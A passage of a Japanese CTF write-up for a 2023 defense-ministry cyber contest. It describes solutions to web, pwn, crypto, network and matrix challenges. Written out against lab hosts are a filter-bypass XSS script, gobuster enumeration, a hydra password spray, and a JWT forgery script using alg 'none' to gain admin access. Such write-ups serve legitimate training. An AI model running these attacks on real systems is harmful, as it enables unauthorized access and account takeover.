with pwn.remote("10.10.10.15", 1005) as io: solve(io)
# command = """
# b* 0x0000000000401285
# continue
# """
# with pwn.gdb.debug(BIN_NAME, command) as io: solve(io)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Noprotect/noprotect'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to 10.10.10.15 on port 1005: Done
[+] Receiving all data: Done (82B)
[*] Closed connection to 10.10.10.15 port 1005
flag{j3Fdc8Mshpm6}

timeout: the monitored command dumped core
Segmentation fault
$

フラグを入手できました: flag{j3Fdc8Mshpm6}

Pwnジャンルは全般的に簡単に思いました。特に本問題は30点問題ではありますが、他ジャンルの10点問題並みの難易度に思いました。他の30点問題が手強すぎるという面はあります。

[TRIVIA] Threat (253 solved, 10 points)

コンピューターシステムを侵害し、身代金を目的としてデータを暗号化したり、アクセスをブロックしたりするマルウェアは何ですか。

解答形式:全角カタカナ7文字

配布ファイルやヒントはありません。ランサムウェアを提出すると正解でした。

[TRIVIA] Behavior (251 solved, 10 points)

エージェントを使用してエンドポイント上のふるまいを検知し、異常な活動を検出し、攻撃に対する即座な応答を可能にするエンドポイントセキュリティ技術は何ですか。

解答形式:半角英大文字3文字

配布ファイルやヒントはありません。EDRを提出すると正解でした。

[TRIVIA] Inventor (251 solved, 10 points)

RSA 暗号の R の由来になった人物は誰でしょうか?ラストネームをお答えください。

解答形式:全角カタカナ4文字

配布ファイルやヒントはありません。RSA R 人名あたりでGoogle検索して見つけたロナルド・リベスト - Wikipediaから、リベストを提出すると正解でした。

[Web] Basic (211 solved, 10 points)

情報セキュリティ担当のジョナサンは、退職者が利用していたパソコンの通信ログを確認していたところ、Basic 認証でアクセス制限がかけられているhttp://10.10.10.6/Aw6dfLUM/ へアクセスしていることが判明しました。

提供したパソコンの通信ログ(Basic.pcapng)を確認して認証情報を探し出してください。 フラグはその Basic 認証でのログイン後のページにあります。

解答方式:flag{************}

ヒントを表示する
Wireshark などのパケットキャプチャツールを利用すると pcap ファイルの中身が見えます。

ヒントを表示する
Basic 認証は http リクエストでやりとりをしています。

ヒントを表示する
通信ログから「Authorization: Basic」と記載している箇所を探しましょう。

配布ファイルとして、Basic.pcapngがありました。Wiresharkで開いてhttpでフィルタリングすると、401 Unauthorizedなレスポンスが何個かある中、1つだけ200 OKのレスポンスがありました。当該レスポンスに対応するリクエストを調べて、Basic認証内容を確認しました:

問題文にあるURLへアクセスして、ユーザー名flag、パスワードaGyRsqpna3D3でログインすると、Flagリンクがあるページが表示されました。リンク先ページにフラグが書かかれていました: flag{d0AqEPxpZpnf}

[Web] Discovery (110 solved, 10 points)

ゲーム会社に勤めているジョナサンが管理しているサイト( http://10.10.10.6/Wg6LQhmX/ ) 配下のディレクトリに、機密情報(flag)が記載されたテスト用の html ファイルが公開されていると連絡を受けました。 ジョナサンはサイトにあるリンクたどって該当ファイルを見つけ出そうとしましたが、うまくいきませんでした。 攻撃者はどのようにして機密情報(flag)を見つけだしたのでしょうか? あなたは機密情報(flag)を見つけ出し記載されたフラグを確認してください。

解答方式:flag{************}

ヒントを表示する
ディレクトリ探索のツールには dirb や ffuf などがあります。

ヒントを表示する
フラグが記載されているファイルの拡張子は html だったことを思い出してください。

ヒントを表示する
まずはディレクトリを探してみましょう。ディレクトリが見つかったら次はファイルを探してみましょう。

配布ファイルはありません。とりあえずrobots.txtがあるか調べましたがありませんでした。スキャン系ツールのgobusterを使ってHTMLファイルがあるか調べました:

$ gobuster dir -k --url 'http://10.10.10.6/Wg6LQhmX/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -o gobuster_result_80.txt -x html
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.6/Wg6LQhmX/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
2023/08/06 09:15:50 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/.hta.html            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/.htaccess.html       (Status: 403) [Size: 199]
/.htpasswd.html       (Status: 403) [Size: 199]
/games                (Status: 301) [Size: 241] [--> http://10.10.10.6/Wg6LQhmX/games/]
Progress: 9339 / 9432 (99.01%)
===============================================================
2023/08/06 09:16:31 Finished
===============================================================
$

gamesディレクトリが存在するようですが、とりあえずアクセスしてもForbidden表示でした。その他、もっと大きな辞書で試したりしましたが、他に何も見つかりませんでした。仕方がないのでgamesディレクトリ以下を調べました:

$ gobuster dir -k --url 'http://10.10.10.6/Wg6LQhmX/games/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -o gobuster_result_80_games.txt -x html
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.6/Wg6LQhmX/games/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
2023/08/06 09:27:48 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 199]
/.hta.html            (Status: 403) [Size: 199]
/.htpasswd            (Status: 403) [Size: 199]
/.htpasswd.html       (Status: 403) [Size: 199]
/.htaccess.html       (Status: 403) [Size: 199]
/.htaccess            (Status: 403) [Size: 199]
/admin.html           (Status: 200) [Size: 19]
Progress: 9326 / 9432 (98.88%)
===============================================================
2023/08/06 09:28:26 Finished
===============================================================
$

admin.htmlが存在するようです。ブラウザで見に行くと、フラグが書かれていました: flag{L1h$ZL-!-,es}

[Web] Bypass (49 solved, 20 points)

上司のクリストファーはセキュリティ会社に脆弱性診断の依頼をした際、アンケートフォーム( http://10.10.10.7/46am9tjb/ ) に、クロスサイトスクリプティングの脆弱性が検出されたと報告を受けました。 このページでは JavaScript を実行されないように対策をとっているため、納得できてないようです。 上司はあなたに JavaScript を実行できるか確認するようにお願いしてきました。 以下のような alert 関数を実行できればフラグが表示されます。

<script>alert(1)</script>

解答形式:flag{***********}

ヒントを表示する
フォームの一部には入力制限があります。これは JavaScript で制御しているようです。

ヒントを表示する
どうやら、一定の文字列を削除する動作のようです。

ヒントを表示する
ソースコードをよく読んでみましょう。

配布ファイルはありません。問題文通り、リンク先には以下のアンケートフォームがありました:

とりあえずXSSを引き起こそうと怪しい入力を試しましたが、年齢欄は数値のみ入力可能になっていました。ソースを見ると、以下の検証処理がありました:

function validateForm() {
    var submit_flg = true;
    var lname = document.getElementById("lname").value;
    var fname = document.getElementById("fname").value;
    var age = document.getElementById("age").value;

    var lnameError = document.getElementById("lname-error");
    var fnameError = document.getElementById("fname-error");
    var ageError = document.getElementById("age-error");


    lnameError.style.display = "none";
    fnameError.style.display = "none";
    ageError.style.display = "none";

    if (lname.trim() === '') {
        lnameError.style.display = "block";
        submit_flg = false;
    }

    if (fname.trim() === '') {
        fnameError.style.display = "block";
        submit_flg = false;
    }

    if (age.trim() !== '') {
        if (isNaN(age) || !Number.isInteger(Number(age))) {
            ageError.style.display = "block";
            submit_flg = false;
        } else {
            if (Number(age) < 0) {
                ageError.style.display = "block";
                submit_flg = false;
            }
        }
    }

    // 全ての必須項目が入力されている場合はtrueを返す
    return submit_flg;
}

この検証処理を回避するために、正常な入力時のPOST先や内容を確認して、自作スクリプトで投稿することにしました。年齢欄に色々入力を入れていると、<script>タグを送信しても、遷移後ページでは<>となっており、scriptと言う文字列が削除されるようでした。それではと<scscriptript>を送信すると、遷移後ページで<script>となっており、XSSできそうなことが分かりました。あとは問題文のとおりにアラートを表示されるスクリプトを書きました。最終形のスクリプトです:

#!/usr/bin/env python3

import requests

with requests.Session() as s:
    d = '">a<scscriptript>alert(1)</scscriptript>a<div name="'
    data = {
        "lname": "test",
        "fname": "test",
        "age": d,
        "message": "test",
        }

    r = s.post('http://10.10.10.7/46am9tjb/receive.php', data=data)
    print(r.text)

実行しました:

$ ./solve.py
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="../../css/bootstrap.min.css" rel="stylesheet">
<script src="../../js/bootstrap.min.js"></script>
<link rel="icon" href="data:,">

    <title>送信内容確認</title>
</head>
<body>
<body>


    <div class="alert alert-warning">flag{dfvK#L-]BF?M}</div><script>alert("Congratulations!")</script>
$

フラグを入手できました: flag{dfvK#L-]BF?M}

[Web] Spray (53 solved, 20 points)

人事部のマネージャーをしているジェシカは、社内ポータルサイト http://10.10.10.7/mpk5tdbu で推測が容易なパスワード、 password か 123456789 のいずれかを利用している従業員がいると報告を受けた。どの従業員が推測可能なパスワードを利用しているか突き止めてください。フラグは、そのユーザーでログインしたページにあります。

以下のアカウントを利用して従業員のアカウント情報を確認してください。

ログイン画面:http://10.10.10.7/mpk5tdbu/
ID:user1
PW:diejuthdkfi14
従業員は100名登録されており、従業員情報は上記のアカウント情報でログイン後、http://10.10.10.7/mpk5tdbu/prof/ で確認ができます。

解答形式:flag{***********}

ヒントを表示する
ユーザー情報のページでは URL に注目してください。

ヒントを表示する
ユーザー情報ページからユーザー ID 一覧を作成しましょう。

ヒントを表示する
ユーザー ID には「@」は使えないみたいです。

配布ファイルはありません。問題文記載のURLへアクセスするとログイン画面があり、同じく問題文記載のIDとパスワードでログインできました。その後、問題文記載のhttp://10.10.10.7/mpk5tdbu/prof/へアクセスしましたが、確か404 Not found表示となり、従業員情報は確認できませんでした。困ってログイン後画面を眺めていると、ページ左下の方にプロフィールを見るボタンがありました。押してみるとhttp://10.10.10.7/mpk5tdbu/prof.php?id=1へ遷移し、1人の従業員のプロフィールページがありました。idを変えてみると、1~100の範囲で存在するようでした。

それではと、IDはuser1user100の100通り、パスワードは問題文記載のpasswordまたは123456789の2通りから、総当たりでログインするようhydraコマンドで試しました。しかしすべてログインに失敗してしまい、困惑しました。

従業員のプロフィールページにある項目の中でそのままログインIDとして使えそうな項目は、メールアドレスくらいに見えました。メールアドレス全体かユーザー名箇所だけか不明瞭でしたが、とりあえず100人分のプロフィールを集めるクローラーを書きました:

#!/usr/bin/env python3

import requests

with requests.Session() as s:
    s.post("http://10.10.10.7/mpk5tdbu/login.php", data={"userID": "user1", "password": "diejuthdkfi14"})
    for i in range(1, 101):
        r = s.get(f"http://10.10.10.7/mpk5tdbu/prof.php?id={i}")
        print(r.text)

実行して、メールアドレス部分を抽出しました:

$ ./crawl_profile.py > crawl_result.txt
$ cat crawl_result.txt | head -35 | tail -14
        <div class="card mb-3">
            <div class="card-header">
                <h2 class="card-title">ユーザー情報</h2>
            </div>
            <div class="card-body">
                 <p><strong>名前:</strong> 増井 杏里</p>
                <p><strong>メールアドレス:</strong> imasui@yngcrtvp.uat.ycl</p>
                <p><strong>生年月日:</strong> 1977/3/31</p>
                <p><strong>性別:</strong> 女性</p>
                <p><strong>電話番号:</strong> 076-304-6704</p>
                <p><strong>住所:</strong> 千葉県</p>
                <p><strong>自己紹介:</strong> よろしくお願いします。</p>
            </div>
        </div>
$ cat crawl_result.txt | grep '<p><strong>メールアドレス:</strong>' | cut -d" " -f18 | cut -d'<' -f1 > mailaddress.txt
$ cat crawl_result.txt | grep '<p><strong>メールアドレス:</strong>' | cut -d" " -f18 | cut -d'@' -f1 > username.txt
$ cat > password.txt
password
123456789

$

とりあえずユーザー名側から辞書攻撃を仕掛けてみました:

$ hydra -V -f -L username.txt -P password.txt 10.10.10.7 http-post-form '/mpk5tdbu/login.php:userID=^USER^&password=^PASS^:alert-danger'
(中略)
[ATTEMPT] target 10.10.10.7 - login "aamemiya" - pass "123456789" - 194 of 200 [child 4] (0/0)
[ATTEMPT] target 10.10.10.7 - login "shigeo4433" - pass "password" - 195 of 200 [child 2] (0/0)
[80][http-post-form] host: 10.10.10.7   login: kimi_ihara   password: 123456789
[STATUS] attack finished for 10.10.10.7 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-06 12:32:31
$

IDはkimi_ihara、パスワードは123456789でログインに成功するとのことです。改めてログインページへアクセスし、見つかった認証情報でログインすると、ページ上部にフラグが書かれていました:

フラグを入手できました: flag{?]_P43gUR?yK}

すぐに分かるとはいえ問題文記載のURLが間違っていたり、ログイン用ユーザーIDが初回用とフラグ用で形式が不統一だったりするのが気になりました。

[Web] Location (21 solved, 30 points)(ヒント表示で -3 points)

社内情報システム部でエンジニアをしているマイケルは、 Web サーバー http://10.10.10.8/ 内の機密情報(flag.txt)にアクセスされないようにセキュリティ対策を施して万全の体制をとっていましたが、ダークウェブに機密情報(flag.txt)が漏洩していると報告を受けました。

マイケルが実施したセキュリティ対策は以下の通りです。

ID とパスワードでの認証
多要素認証
一般ユーザーと管理者で表示できるページを分けている
機密情報(flag.txt)にはアクセス制限をかけている
下記のフラグ確認用のアカウント(一般ユーザー)を利用して、 flag.txt を探し出してください。

ID: test
PW: password
解答形式:flag{***********}

3 ポイントを消費してヒントを表示する
認証タイプを選ばない、という選択肢もあります。

ヒントを表示する
プロキシツールを使ってリクエストをよく観察してください。

配布ファイルはありません。問題文記載のURLへアクセスすると、ログインフォームがありました:

どちらの認証方式を選んでいても、問題文記載のIDtest、パスワードpasswordで1つ先の画面に進むことはできました:

「ワンタイムパスワード」選択時

「乱数表」選択時

しかし、登録時メールアドレスもパスワードイメージも分からないため、先へ進めません。ログインのPOST時の通信内容を確認すると、認証方式種類はmultiパラメーターが1か2かで表現されているように見えました。そこで試しに3に変えて試してみても、確か「認証方法を選択してください」だったかのエラーとなり、先へ進めませんでした。

困ったので1つ目のヒントを開けました。選ばないという選択肢、理解しました!というわけで送信内容からmultiパラメーターを削ると、無事ログインに成功しました。以下の内容があるページでした:

マイページ
ユーザページは現在開発中のため、すべての機能をオフにしています

しかし、管理者に関しては有効である機能も存在します。

クッキーを確認すると、tokenという名前でeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoidXNlciIsImlwIjoiMTAuMTAuMTAuMTAifQ.YWY4MWJhYTVlY2YzNDc5OGJiN2ZmZTNjMzMyYmZlYWJjOWI1MTVkOTgwMzlmM2VjNjZiNWIyMjE3ZWM0YTM0Zgという値を持つクッキーが存在しました。ドット2つで区切られたBase64なのでJSON Web Tokenらしく見えました。JSON Web Tokens - jwt.ioで調べてみると、以下の内容でした:

  • ヘッダー: {"alg": "HS256", "typ": "JWT"}
  • ペイロード: {"account": "user", "ip": "10.10.10.10"}

alg内容をnoneへ、account内容をadminへ改ざんして、JWTに戻した値をクッキーに設定すると、無事管理者として認識されました:

マイページ
管理者として認識しました

ユーザの詳細を確認することが可能です。

1 : 太郎

2 : ジョナサン

詳細を確認したいユーザの番号を半角で入力してください

(ここに入力欄)

1を入力すると1.txt内容が表示されました。それではとflagを入力してみると、<script>alert("このファイルは外部からアクセス可能ではありません。");document.location="/account.php";</script>となりました。アクセス元IPアドレスの偽装といえばX-Forwarded-Forヘッダー、と思いましたが結果は同じでした。試行錯誤の末、JWT中のip内容を127.0.0.1へ改ざんすると成功しました。途中から書いていたスクリプトです:

#!/usr/bin/env python3

import requests
import jwt

with requests.Session() as session:
    r = session.post("http://10.10.10.8/multi.php",
                     data={"username": "test", "password": "password"})
    # print(r.text)

    ip = "127.0.0.1"
    user_data = {
        "account": "admin",
        "ip": ip, # flag表示にはこれが重要だった
        }
    token = jwt.encode(user_data, key=None, algorithm="none")
    session.cookies.set("token", token, domain="10.10.10.8", path="/")
    r = session.get("http://10.10.10.8/account.php")
    # print(r.text)
    # print(session.cookies)

    # 別にいらなかった
    headers = {
        # "X-Forwarded-For": ip,
        # "Forwarded": f"by={ip};for={ip};host={ip};proto=http",
        }
    r = session.post("http://10.10.10.8/file.php",
                 data={"id": "flag"},
                 headers=headers)
    print(r.text)

実行しました:

$ ./solve.py
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>ユーザ検索</title>
    </head>
    <body>
        <p>flag{qPeESfTEg6rT}
</p><p></p>      </body>
</html>
$

フラグを入手できました: flag{qPeESfTEg6rT}

解けなかった問題

[CRYPT] Hash Extension Attack (14 solved, 30 points)(ヒント表示で -9 points)

hash_extension.php 内で echo “same hash!!\n” を実行させるための、変数 hash, payload の値を求めて下さい。

解答形式: flag{変数 hash の値:変数 payload の値}

3 ポイントを消費してヒントを表示する
hash_extension.php はハッシュ伸長攻撃に対して脆弱です。

3 ポイントを消費してヒントを表示する
変数 palyload はパーセントエンコーディングが必要です。

3 ポイントを消費してヒントを表示する
hash_extender を使用して、hash と payload の値を生成して下さい。
(筆者注意:hash_extender箇所に https://github.com/iagox86/hash_extender へのリンクが設定されています)

配布ファイルとして、問題文で言及のあるhash_extension.phpがありました:

<?php
$payload = urldecode($_GET['payload']);
$hash = urldecode($_GET['hash']);

hash('md5',$secret); #5ebe2294ecd0e0f08eab7690d2a6ee69, secret length 6.

if (false !== strpos($payload,"admin") && hash('md5',$secret.$payload) == $hash){
    echo "same hash!!\n";
    # flag is $hash:$payload.
}else{
    echo "wrong hash!!\n";
}
?>

コードのコメントにある5ebe2294ecd0e0f08eab7690d2a6ee69CrackStationを投げると、平文がsecretである事がわかりました。後は簡単にsame hash!!へ到達できそうです。

元コードでは未設定な$secretの初期化や、動作確認用処理を追加しました:

<?php
$payload = urldecode($_GET['payload']);
$hash = urldecode($_GET['hash']);
echo "payload: ".urlencode($payload)."\n";
echo "hash: ".urlencode($hash)."\n";

$secret = "secret";
$h0 = hash('md5',$secret); #5ebe2294ecd0e0f08eab7690d2a6ee69, secret length 6.
echo "h0: ".$h0."\n";

$r1 = strpos($payload,"admin");
$nh = hash('md5',$secret.$payload);

echo "r1: ".$r1."\n";
echo "nh: ".$nh."\n";

if (false !== $r1 && $nh == $hash){
    echo "same hash!!\n";
    # flag is $hash:$payload.
}else{
    echo "wrong hash!!\n";
}
?>

ローカルでサーバーを起動して、動作確認しました:

$ sudo php -S localhost:80 ./hash_extention.php
[Mon Aug  7 00:48:09 2023] PHP 8.1.2-1ubuntu2.13 Development Server (http://localhost:80) started

# 以下、別のターミナルで
$ echo -n 'secretadmin' | md5sum
ea909ccfbf42c1d230f26167db4d4fdb  -
$ curl 'http://localhost/?hash=ea909ccfbf42c1d230f26167db4d4fdb&payload=admin'
payload: admin
hash: ea909ccfbf42c1d230f26167db4d4fdb
h0: 5ebe2294ecd0e0f08eab7690d2a6ee69
r1: 0
nh: ea909ccfbf42c1d230f26167db4d4fdb
same hash!!
$

意気揚々と、フラグ形式のflag{ea909ccfbf42c1d230f26167db4d4fdb:admin}を提出しましたがIncorrectと言われました。

色々試行錯誤をし、あまりにも分からずヒントもすべて表示しました。しかし今回の問題はハッシュ伸長攻撃以前に平文が判明しています。パーセントエンコーディングが必要な文字もありませんし、そもそもパーセントエンコーディング不要な文字についてエンコードが必要かどうか不明です。結局、「hash_extenderというものをわざわざ使って、唯一の想定解を提出するしかない」らしいです。正解は分からないまま終わりました。

本問題だけは問題として成立していないように思います。費やした時間やヒント表示点数がもったいなく思います……。

[NW] Ladder (5 solved, 30 points)(ヒント表示で-6 points)

あなたはペネトレーションテストを行うホワイトハッカーです。ペネトレーションテスト対象組織の社内ネットワークに侵入できました。 引き続き、対象サーバー「10.10.10.23」を調査し、機密情報(フラグ)を見つけてください。

解答方式:flag{************}

3 ポイントを消費してヒントを表示する
SNMP のコミュニティ名を突破してシステム情報を列挙し稼働プロセス情報に着目してください。

3 ポイントを消費してヒントを表示する
対象システムではデータベースとデータベースプロキシーが稼働してます。

nmapで稼働中サービスを、代表的なポートについて調べました(全ポートスキャンは長い時間がかかりそうだったので避けました):

PORT     STATE    SERVICE  REASON          VERSION
25/tcp   open     smtp     syn-ack ttl 128 Postfix smtpd
|_smtp-commands: sv1.example.com, PIPELINING, SIZE 10240000, VRFY, ETRN, AUTH PLAIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp   open     http     syn-ack ttl 128 Apache httpd 2.4.57 ((Debian))
|_http-title: login
|_http-server-header: Apache/2.4.57 (Debian)
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
143/tcp  open     imap     syn-ack ttl 128 Dovecot imapd
|_imap-capabilities: more listed have STARTTLS ENABLE ID capabilities LOGIN-REFERRALS post-login OK IDLE AUTH=PLAINA0001 LITERAL+ IMAP4rev1 SASL-IR Pre-login
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Server-NW4
| Subject Alternative Name: DNS:Server-NW4
| Issuer: commonName=Server-NW4
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-15T01:22:28
| Not valid after:  2033-06-12T01:22:28
| MD5:   e769:092e:9412:91e8:8e56:cdb8:dd3a:296e
| SHA-1: b0e9:7026:082b:fe9c:6418:eac8:d0a3:d49e:72c2:e570
| -----BEGIN CERTIFICATE-----
| (中略)
|_-----END CERTIFICATE-----
514/tcp  filtered shell    no-response
993/tcp  open     ssl/imap syn-ack ttl 128 Dovecot imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=Server-NW4
| Subject Alternative Name: DNS:Server-NW4
| Issuer: commonName=Server-NW4
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-15T01:22:28
| Not valid after:  2033-06-12T01:22:28
| MD5:   e769:092e:9412:91e8:8e56:cdb8:dd3a:296e
| SHA-1: b0e9:7026:082b:fe9c:6418:eac8:d0a3:d49e:72c2:e570
| -----BEGIN CERTIFICATE-----
| (中略)
|_-----END CERTIFICATE-----
|_imap-capabilities: listed more AUTH=PLAINA0001 ENABLE have capabilities LOGIN-REFERRALS post-login ID IDLE OK LITERAL+ IMAP4rev1 SASL-IR Pre-login
3128/tcp open     mysql    syn-ack ttl 128 MySQL 5.5.5-10.11.3-MariaDB-1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.11.3-MariaDB-1
|   Thread ID: 13955
|   Capabilities flags: 63486
|   Some Capabilities: ConnectWithDatabase, LongColumnFlag, InteractiveClient, ODBCClient, Support41Auth, IgnoreSigpipes, SupportsLoadDataLocal, Speaks41ProtocolOld, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsCompression, FoundRows, SupportsTransactions, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: sR}Cq3GN/@5)j]tNhDWi
|_  Auth Plugin Name: mysql_native_password
3306/tcp open     mysql    syn-ack ttl 128 MariaDB (unauthorized)
Device type: WAP

161/udp   open          snmp            udp-response ttl 128 net-snmp; net-snmp SNMPv3 server
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 1d4266130a618a6400000000
|   snmpEngineBoots: 31
|_  snmpEngineTime: 5h24m47s

nmap結果から各ポートを調査しましたが、侵入口は見つかりませんでした:

  • 25/tcp

    • (そういえば全然見ていませんでした……)
  • 80/tcp

    • Apache httpd 2.4.57は現時点での最新バージョン、脆弱性はなさそうです。
    • ブラウザアクセスするとログインフォームらしいものが見えますが、ボタンを押してもサーバーへ送信もせずに、JavaScriptで認証失敗と表示するだけのものです。そのためSQL Injection等は原理上ありません。
    • gobusterniktoで幅広く調べましたが、なぜかold.htmlとしてDebianのセットアップ確認ページが存在しただけでした。
    • あまりにも何もなさすぎて入り口にはならない印象でした。
  • 143/tcp

    • ncコマンドで接続してA1 LOGIN test test等を試みてもA1 NO [AUTHENTICATIONFAILED] Authentication failed.エラーで厳しそうです。
  • 993/tcp

    • openssl s_client -connect "$RHOST":993 -quietコマンドで接続しても、143番ポート同様に厳しそうです。
  • 3128/tcp

    • mysql -h "10.10.10.23" -P 3128 -u test等試すと(using password: NO)のような表示だったのでtestユーザーが存在すると考えましたが、hydraでパスワードクラックを試しても失敗しました。
  • 3306/tcp

    • mysql -h "$RHOST" -P 3306ERROR 1130 (HY000): Host '10.254.0.2' is not allowed to connect to this MariaDB serverエラーになったので現段階ではアクセス不能のようでした。侵入成功後には使えるのかもしれません
  • 161/udp

    • ヒント表示後、ここが最重要と分かったので重点的に調べようとしました。
    • nmapのバナー表示からSNMPv3を使っているようだったので、SNMPバージョン3に対応しているクライアントを調べると、snmpwalkコマンドは対応しているようでした。
    • snmpwalk -v3 -u test -A testtest "10.10.10.23"snmpwalk: Unknown user nameエラーとなったので、存在するユーザーを探そうと思いました。
    • Kali Linuxにあった/usr/share/seclists/Usernames/cirt-default-usernames.txt記載のユーザーで存在有無を確認するスクリプトを書いて動かしていましたが、どのユーザーも存在しないようでした……。

というわけで、ヒントを表示してSNMPを攻めたのにもかかわらず、最初の一歩も何も分からないまま時間切れとなってしまいました。OSCP力を発揮できず悔しいです。

他の方によるwriteup記事防衛省サイバーコンテスト2023 Writeups - はまやんはまやんはまやんによると、onesixtyoneというコマンドで使うべき名前がsecretと分かり、そこから芋づる式に認証情報などが手に入ったようです。enum力が足りませんでした。

[PROGRAMMING] Grayscale Matrix (19 solved, 30 points)(ヒント表示で -13 points)

3個のファイルに記された数値からなる行列からフラグを復元してください。

解答形式:flag{************}

3 ポイントを消費してヒントを表示する
行列積をとると?順序はファイル名がヒントになっています。

5 ポイントを消費してヒントを表示する
順序がわからなければ LUP 分解という行列計算について調べてみてください。この問題はその逆演算です。

5 ポイントを消費してヒントを表示する
行列積の成分を眺めてもよくわからなければ、成分の大きさを濃淡にして可視化してみてください。

配布ファイルとしてL.txtP.txtU.txtがありました。L.txtは下三角行列、U.txtは上三角行列と予想し、LU分解が関係しそうだと推測しました。ただP.txtがよく分かりませんでした。Google検索しても正則行列かもしれない、くらいの理解でした(実際に表示して確かめれば良かったんですね、それをサボってしまいました)。

何をすればいいのかよく分からず、適当にL*P*Uを計算して謎の値を出したりした後に、ヒントを2つ表示しました。「LUP分解」というからにはきっとL*U*Pなのでしょうと考えて、問題名から想像しつつ、3つの行列の積をグレースケール画像として保存するスクリプトを書いて実行しました。実行結果です:

なんだか一部横向きの線が見えるような画像になりました。「一部の線は、モールス信号や、ビット単位のASCIIを表している?」と迷走を重ねた結果、時間切れになりました。途中に最後のヒントを表示しましたが、迷走は止まりませんでした……。

他の参加者の方のwrite-up記事防衛省サイバーコンテスト2023 Writeups - はまやんはまやんはまやんによると、PLU decompositionというのがあり、A=PLUらしいとのことです。ヒントで「LUP分解」と言っていたのは一体???しかしそれでも、式をガチャガチャ触っていれば気づいていたかもしれなくて悔しいです。それはそうと正しい順序で行列の積を計算して画像化するスクリプトです:

#!/usr/bin/env python3

import sys
import numpy as np
import math
import cv2
import pprint

def parse_materix(filename):
    with open(filename) as f:
        matrix = []
        for line in f.read().split("\n"):
            if len(line) == 0: continue
            row = []
            for element in line.split(" "):
                row.append(float(element))
            matrix.append(row)
        return np.matrix(matrix)

L = parse_materix("L.txt")
P = parse_materix("P.txt")
U = parse_materix("U.txt")

# A = L @ U @ P # コンテスト中に使っていて迷走していた式
A = P @ L @ U # 実際に計算すべき式

l = []
(rows, columns) = A.shape # 256*256
image = np.zeros((rows,columns,3), np.uint8)
with open("result.bin", "wb") as f:
    for y in range(rows):
        for x in range(columns):
            val = (A[y, x])
            rounded = round(val)
            assert math.fabs(val - rounded) < 0.00001

            threashold = 255
            f.write(bytes([rounded]))
            image[y, x] = rounded
            l.append(val)

cv2.imwrite("test.png", image)
# pprint.pprint(sorted(l))

修正後の実行結果の画像です:

こちらならしっかりフラグを認識できました: flag{J75hrNE34GAnmMN4}

PROGRAMMINGジャンルと言うよりは別ジャンルなのかなとは思いました。numpyを使えば行列の積は@演算子1つで計算できますし、アルゴリズムとデータ構造は全然出てこないので(データの可視化は別枠に思います)。

全体的な感想

  • 第1回と第2回のコンテストでは禁止事項に問題の内容及び解法を一般に公開すること(コンテストの開催中及び開催後)とあり、終了後でもwrite-up等の公開等が禁止されていました。今回、許可されるようになったことは非常に良いことだと思います。私自身、今回解けなかった問題について、他の方のwrite-up記事で大いに学ばせていただきました。
    • もし、次回等でまたwrite-up公開が禁止されていたりしたら、参加しないと思います。
  • 参加するためには、参加受け付け期間中に必要書類込みでフォームから申し込む必要がありました。その際、申込み完了したか、書類に不備がなかったかどうか等を、参加受付期間中に通知があれば嬉しかったです。最終的に申込期限が伸びたものの、最初は「申込期限:07/23まで」「登録メールアドレスへの案内送付:07/28まで」であり、実際案内メールが届いたのは07/27でした。もし申込みに不備があった場合は参加不能に直結していたため、不安でした。
  • コンテスト時間中、問題サーバー等が500エラーとなり、フラグ提出や問題確認が数分できない状況がしばしば発生しました。少なくとも私がメモしていた範囲では、09:24頃、10:41頃、13:21頃、14:34頃、15:39頃、17:52頃には発生していました。数分とはいえ待つ必要があったのが不便でした。
  • コンテスト終了直後から短期間で、問題の確認等ができなくなりました。私はどうにか間に合いましたが、他の方が満足にwrite-upを書ける時間くらい(1週間くらい?)までは残していてほしかったです。
    • コンテスト終了直後~08/06 21:40頃まで(=コンテスト終了後約40分間)は、問題一覧ページで問題が一切表示されない状態でした。
